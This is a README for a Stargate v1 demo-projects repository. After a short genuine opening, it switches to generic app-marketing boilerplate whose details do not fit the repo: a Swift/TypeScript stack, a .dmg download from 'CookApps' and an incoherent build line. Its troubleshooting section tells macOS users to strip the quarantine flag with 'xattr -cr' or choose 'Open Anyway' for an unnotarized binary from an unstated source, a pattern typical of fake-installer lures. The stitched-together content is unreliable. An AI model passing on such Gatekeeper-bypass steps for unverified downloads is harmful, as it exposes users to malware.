Overview
This repo provides demo projects for Stargate v1. You may also fork this repo to create your own demo projects repo. If you do, please create an issue in the issue tracker asking us to promote your projects. Note that Stargate caches your samples, you should not distribute projects unless you have the necessary rights to distribute any samples you used.
StargateDAW is built on open-source principles to guarantee security, privacy, and full reproducibility. All sensitive data transformations run locally on your hardware with zero telemetry or unexpected cloud dependencies.
Key Technical Features & Capabilities
Native Desktop Architecture: Engineered as a standalone desktop binary with near-instant startup and zero background telemetry.
Local-First Privacy: Executes all core data transformations, media processing, and configuration storage 100% locally on your machine.
Optimized UI Workflow: Apple Human Interface Guidelines-inspired design with dark mode, customizable keyboard shortcuts, and responsive layouts.
Zero Cloud Dependencies: Operates completely offline without requiring cloud accounts, third-party analytics, or external API keys.
Architecture & Technology Stack
Primary Languages: Swift / TypeScript
Frameworks & UI Runtime: Native Desktop Engine
Build Systems & Tooling: Xcode / Node.js / Cargo
Supported Platforms: macOS 12.0+ (Apple Silicon M1-M4 & Intel x86_64), Windows 10/11 x64, Linux
System Requirements
| Specification | Minimum Requirement | Recommended Specification |
|---|
| Operating System | macOS 12.0 Monterey / Windows 10 x64 | macOS 14.0+ Sonoma / Windows 11 x64 |
| Processor Architecture | Apple Silicon (M1+) or Intel Core i5 x64 | Apple Silicon Unified Memory (M2/M3/M4) |
| Memory (RAM) | 4 GB Unified RAM | 8 GB+ High-Speed RAM |
| Storage Space | 300 MB available local disk space | 1 GB+ SSD storage |
| GPU Acceleration | Metal 2 / DirectX 12 compatible | Apple Neural Engine / Vulkan capable |
Installation & Setup Guide
macOS Installation (Recommended)
1Download the verified .dmg release installer directly from CookApps.
2Open the disk image and drag StargateDAW.app into your /Applications folder.
3Launch StargateDAW via Spotlight (Cmd + Space) or Launchpad.
Alternatively, install using Homebrew if available:
brew install --cask stargatedaw
Windows Installation
1Download the official installer package (.exe / .msi).
2Run the executable and follow the setup wizard.
3Launch StargateDAW from the Start Menu or desktop shortcut.
Building from Source (Development Setup)
git clone https://github.com/stargatedaw/stargate-v1-demo-projects.git
cd stargate-v1-demo-projects
pnpm install || cargo build --release
pnpm run build
How to Use & Workflow
1Application Launch & Workspace: Open StargateDAW to load the responsive native workspace.
2Configuration & Preferences: Press Cmd + , (macOS) or Ctrl + , (Windows) to configure hardware acceleration, custom directories, and display themes.
3Primary Operation: Drag-and-drop source files or input parameters directly into the central window.
4Execution & Export: Initiate the processing pipeline and verify output files saved directly to your chosen local directory.
Troubleshooting & Common Issues
Problem: macOS Gatekeeper displays *"App is damaged and can't be opened"* or unnotarized developer notice.
Root Cause: macOS quarantine flag set on binaries downloaded outside the Mac App Store.
Resolution: Open Terminal and run:
xattr -cr /Applications/StargateDAW.app
Alternatively, navigate to System Settings > Privacy & Security and select Open Anyway.
Problem: High memory consumption during batch processing operations.
Root Cause: Large media buffers retaining uncompressed state.
Resolution: Adjust batch concurrency in settings or process assets in focused batches.